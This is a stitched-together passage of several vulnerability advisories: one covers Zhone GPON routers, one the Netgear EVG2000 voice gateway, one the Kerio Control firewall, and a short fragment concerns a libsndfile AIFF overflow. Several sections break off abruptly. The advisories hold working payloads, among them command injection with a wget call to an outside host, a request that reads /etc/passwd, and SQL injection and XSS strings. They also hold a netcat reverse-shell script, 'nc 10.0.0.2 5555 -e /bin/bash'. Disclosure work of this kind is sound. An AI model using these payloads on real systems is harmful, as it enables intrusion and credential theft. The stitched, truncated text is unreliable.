Vantage Point Security Advisory 2015-002
========================================
Title: Multiple Vulnerabilities found in ZHONE
Vendor: Zhone
Vendor URL: http://www.zhone.com
Device Model: ZHONE ZNID GPON 2426A
(24xx, 24xxA, 42xx, 42xxA, 26xx, and 28xx series models)
Versions affected: < S3.0.501
Severity: Low to medium
Vendor notified: Yes
Reported:
Public release:
Author: Lyon Yang <lyon[at]vantagepoint[dot]sg> <lyon.yang.s[at]gmail[dot]com>
Summary:
--------
1. Insecure Direct Object Reference (CVE-2014-8356)
---------------------------------------------------
The administrative web application does not enforce authorization on the server side. User access is restricted via Javascript only, by display available functions for each particular user based on their privileges. Low privileged users of the Zhone Router can therefore gain unrestricted access to administrative functionality, e.g. by modifying the javascript responses returned by the Zhone web server.
Affected URL: http://<Router URL>/menuBcm.js
To demonstrate the issue:
1. Set your browser proxy to Burp Suite
2. Add the following option to "Match and Replace". Match for the string 'admin' and replace with your low privilege user:
3. Login to the Zhone Administrative via your browser with Burp Proxy and you will have full administrative access via the Zhone Web Administrative Portal.
2. Admin Password Disclosure (CVE-2014-8357)
--------------------------------------------
Any low-privileged user of the ZHONE Router Web Administrative Portal can obtain all users passwords stored in the ZHONE web server. The ZHONE router uses Base64 encoding to store all users passwords for logging in to the Web Administrative portal. As these passwords are stored in the backup file, a malicious user can obtain all account passwords.
Affected URL: http://<Router URL>/
1. Browse to http://192.168.1.1/backupsettings.html:
2. "View Source" and take note of the sessionKey:
3. Browse to http://<Router
URL>/backupsettings.conf?action=getConfig&sessionKey=<Enter Session
Key Here>. and all user account passwords will be returned.
3. Remote Code Injection (CVE-2014-9118)
----------------------------------------
Remote Command Injection in ZHONE Router Web Administrative Console
Any user of the ZHONE Router can gain command injection on the router and can execute arbitrary commands on the host operating system via the vulnerable ZHONE router web administrative console.
Affected URL:
/zhnping.cmd?&test=traceroute&sessionKey=985703201&ipAddr=192.168.1.1|wget%20http://192.168.1.17/l00per_was_here&ttl=30&wait=3&queries=3
Affected Parameter:
ipAddr
4. Stored Cross-Site Scripting
---------------------------------------------------------------------------------------
The zhnsystemconfig.cgi script is vulnerable to a stored cross-site scripting attack.
Sample HTTP Request:
GET /zhnsystemconfig.cgi?snmpSysName=ZNID24xxA- Route&snmpSysContact=Zhone%20Global%20Support&snmpSysLocation=www.zhone.com %3Cscript%3Ealert(1)%3C/script%3E&sessionKey=1853320716 HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/zhnsystemconfig.html
Cookie: dm_install=no; dm_enable=no; hwaddr=54:A0:50:E4:F5:C0
Authorization: Basic (Base 64 Encoded:<USER:PASSWORD>)
Connection: keep-alive
Affected Parameters:
1. snmpSysName
2. snmpSysLocation
3. snmpSysContact
5. Privilege Escalation via Direct Object Reference to Upload Settings Functionality
---------------------------------------------------------------------------------------
A low-privileged user can patch the router settings via the /uploadsettings.cgi page. With this functionality, the malicious attacker is able to patch the admin and support password, hence gaining full administrative access to the Zhone router.
Sample POST Request:
POST /uploadsettings.cgi HTTP/1.1
Host: 192.168.1.1
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/updatesettings.html
Cookie: dm_install=no; dm_enable=no; hwaddr=54:A0:50:E4:F5:C0
Connection: keep-alive
Content-Type: multipart/form-data; boundary=--------------------------- 75010019812050198961998600862
Authorization: Basic (Base 64 Encoded:<USER:PASSWORD>)
Content-Length: 88438
-----------------------------75010019812050198961998600862

# Exploit Title: [Netgear Voice Gateway Multiple Vulnerabilities]
# Date: May 01, 2015 [No response from Vendor]
# Discovered by: Karn Ganeshen
# Vendor Homepage: [www.netgear.com]
# Version: [Firmware Version: V2.3.0.23_2.3.23]
*Netgear Voice Gateway Multiple Vulnerabilities *
*Device Info *
Device Type: Netgear Voice Gateway EVG2000
Account Name: EVG2000
Firmware Version: V2.3.0.23_2.3.23
*1. Web application vulnerabilities OS Command Injection *
Netgear Voice Gateway EVG2000 is managed through a web management portal.
The application provides a Diagnostics feature that has four (4) options:
a.Ping an IP address
b.Perform a DNS Lookup
c.Display the Routing Table
d.Reboot the Router
Option 1 Ping an IP address was confirmed to be vulnerable to OS Command
Injection.
The ping_IPAddr parameter does not sufficiently validate input. It is
possible to use the semi-colon character (;) to inject arbitrary OS
commands and retrieve the output in the application's responses.
*PoC*
*HTTP POST Request*
POST /ping.cgi HTTP/1.1
Host: 1.3.3.7
User-Agent: blah
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
Referer: http://1.3.3.7/DIAG_diag.htm
Authorization: Basic <b64_value_here>
Content-Length: 69
IPAddr1=1&IPAddr2=3&IPAddr3=3&IPAddr4=7&ping=Ping&ping_IPAddr=1.3.3.7;cat
/etc/passwd
*HTTP Response*
.....
<html-output>
root:<redacted_hash>:0:0:Linux User,,,:/root/:/bin/sh
nobody:*:0:0nobody:/:/bin/sh
admin:<clear-text-admin-pass>:0:0:admin:/:/bin/sh
*2. Web application vulnerabilities Stored Cross-Site Scripting (XSS) *
In the Services menu, the Service Table lists any existing Service-Port
mappings. A new service can be added with a payload value of
*<script>alert(xss)</script>* in the ServiceType parameter.
The application does not check any malicious input and accepted this new
entry. The JavaScript input was then returned unmodified in a subsequent
request for the Services Table Entries.
The web application lacks strict input validation and hence is vulnerable
to Stored Cross-Site Scripting attack.
*3. Application does not secure configured passwords (HTTP) *
Any & all configured sensitive information such as passwords & keys are not
secured properly. These are masked and only ***** is shown in the
corresponding fields.
This client-side restriction can easily be bypassed though. It is possible
to capture masked values via ‘Inspect Element’ and / or via an intercepting
proxy.
The application should mask/censure (*****) the passwords, keys and any
other crucial pieces of configuration and must not pass the values in
clear-text.

#### Vulnerability is based on the wrong management of the headindex and headend values.
#### While parsing a specially crafted AIFF header the attacker can manage index values
#### in order to use memcpy(...) to overwrite memory heap.

# int headindex, headend ;
# ...
# /* Virtual I/O functions. */
# int virtual_io ;
# SF_VIRTUAL_IO vio ;
# ...
# ...
# } SF_PRIVATE;

# Take a look to the source of aiff.c:
# -- git clone https://github.com/erikd/libsndfile.git
#
# src/aiff.c:403

IntelliSec Security Advisory
==============================================================================================
Title: Multiple Vulnerabilities in Kerio Control (Virtual Appliance)
Vulnerabilities: SQL Injection, Remote Code Execution through CSRF
Product: Kerio Control
Homepage: http://www.kerio.com
Affected Version: <= 8.6.1
Fixed Version: 8.6.2 (partially fixed)
Impact: critical
Date: 2015-10-12
Author: Raschin Tavakoli | IntelliSec Research
http://www.intellisec.at

===============================================================================================
Vendor description:
===================
Kerio Control is a unified threat management firewall developed by Kerio Technologies. It
features intrusion prevention, content filtering, activity reporting, bandwidth management,
and virtual private networking. Kerio Control runs Linux, providing network perimeter defense
for small to medium organizations.
Vulnerabilities
===============
1. XSS with Anti-XSS-Filter bypass (nonauth area)
2. SQL Injection (non-admin area)
3. Remote Code Execution (admin area)
By chaining the vulnerabilities together in combination with user interaction, an attacker may
gain full control over the firewall and the underlying network.
Attack Scenario
===============
The first attack could be to trick non-admin users to follow a malicious link in order to trigger
a CSRF exploit via the /nonauth/certificate.php script. The script may exploit the SQL Injection
flaw in reports.php for example.
Once able to query the database, sensitive data of the users can be transmitted back to the
attacker. Information of interest could be for example the traffic usage of admin users and their
top-visited webpages.
In the next attack, this information may be used to embed another CSRF exploit into one of
the top-visited webpages. If the attacker succeeds and the exploit gets triggered by a visiting
admin, arbitrary remote code execution will be gained.
===============================================================================================
1. SQL Injection:
===============================================================================================
Short Description:
==================
Kerio Control suffers from an SQL Injection flaw in the report.php script.
Detailed Description:
=====================
It is not necessary to use blind sql injection, as the output will be rendered into an image file.
As the text in the image file has a fixed size, multiple union selects can be combined to render out
multiple images containing the result text of the query.
In order to exploit the issue, a user has to be authenticated. For non-admin users, webreports
have to be enabled.
This issue is fixed in 8.6.2
Proof of Concept:
=================
GET /report.php?id=1'+OR+'1'%3d'1'%3b+-- HTTP/1.1
Host: testbox:4081
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: SESSION_CONTROL_WEBIFACE=c0fa6c207d812da1fce3e2ff2bc2e609948988a041f5a23adb64064a42010e6b;
TOKEN_CONTROL_WEBIFACE
For example, to read out the admin's internal UUID number, the following union based sql injection
can be used:
https://testbox:4081/report.php?start=16703, 0, 0) UNION SELECT 'x', 'Admin UUID: ' ||
substring(cast( (select UUID from USER_LIST WHERE USERNAME='Admin') as varchar(256))
from 1 for 14), REQUESTS FROM GET_ALL_TOP_WEBS_D(16703, 1) UNION SELECT 'y', substring(cast(
(select UUID from USER_LIST WHERE USERNAME='Admin') as varchar(256)) from 15 for 40), '7'
FROM GET_ALL_TOP_WEBS_D(16703, 1);+--+&end=16703&id=0'+OR+USERNAME='Admin';+--+
=======================
2. Cross Site Scripting
=======================
The server parameter in the nonauth/certificate.php script suffers from an non persistent XSS
vulnerability. The payload needs to be base64 encoded and will be decoded at runtime. That way
it bypasses all Anti-XSS Filters of modern browsers, which increases the severity of this issue
significantly.
The issue has been tested with OS X Chrome Version 45.0.2454.101, OS X Safari Version 9.0
(10601.1.56.2), Linux Chromium Version 37.0.2062.120 and Linux Iceweasel 31.8.0
This issue is fixed in 8.6.2
===============================================================================================
3. Remote Command Execution via File Upload
===============================================================================================
Short Description:
==================
Kerio Control suffers from a RCE vulnerability in the upgrade function in the admin interface.
A malicious ssh script can be uploaded and executed with root privileges.
Detail:
=======
The upgrade feature in the admin interface can be used to upload arbitrary files by simply
changing a tar file to the extension .img. If a tar file is created which contains a upgrade.sh shell
script, this script will be executed with root privileges. Kerio did not provide a fix for the
upgrade functionality yet.
========================================
4. Remote Command Execution through CSRF
========================================
The Kerio admin interface does not provide a functionality to execute shell commands on the
underlying Linux system nor a possibility to enable ssh. SSH is disabled by default and can
only be enabled through the Kerio Console Application.
By combining the RCE with an CSRF attack, this vulnerability becomes a serious issue.
Proof of Concept:
=================
Create a Bash Script:
---------------------
# cat upgrade.sh
# #!/bin/bash
# nc 10.0.0.2 5555 -e /bin/bash &
# tar czf upgrade.tar.gz *
# mv upgrade.tar.gz upgrade.img
Open a netcat listener on the attacker's machine 10.0.0.2:
----------------------------------------------------------
# nc -lvp 5555
Generate Javascript Payload (File Upload and Execution):

Python 3 payload generator
==========================
For easier testing, we developed a small python script that can be used to
generate the payload:
#!/usr/bin/python
# ====================================================================== #
# Title: Remote Command Execution through CSRF - Payload Generator #
# Author: Raschin Tavakoli - IntelliSec GmbH #
# Date: 12.10.2015 #
# #
# Description: #
# This python3 script generates the payload to exploit the RCE via CSRF #
# vulnerability in the Kerio Control Virtual Appliance. #
# #
# First a shell script will be packed as an Kerio upgrade.img file. Then #
# a Javascript will be generated which uploads the file via the Kerio #
# upgrade function. The payload will then be base64 encoded and can be #
# injected into the server parameter of the #
# nonauth/certificate.php script (). #
# #
# Example Usage: #
# csrf-gen-payload.py -t https://10.0.0.8:4081/admin -l 10.0.0.7 -p 5555 #
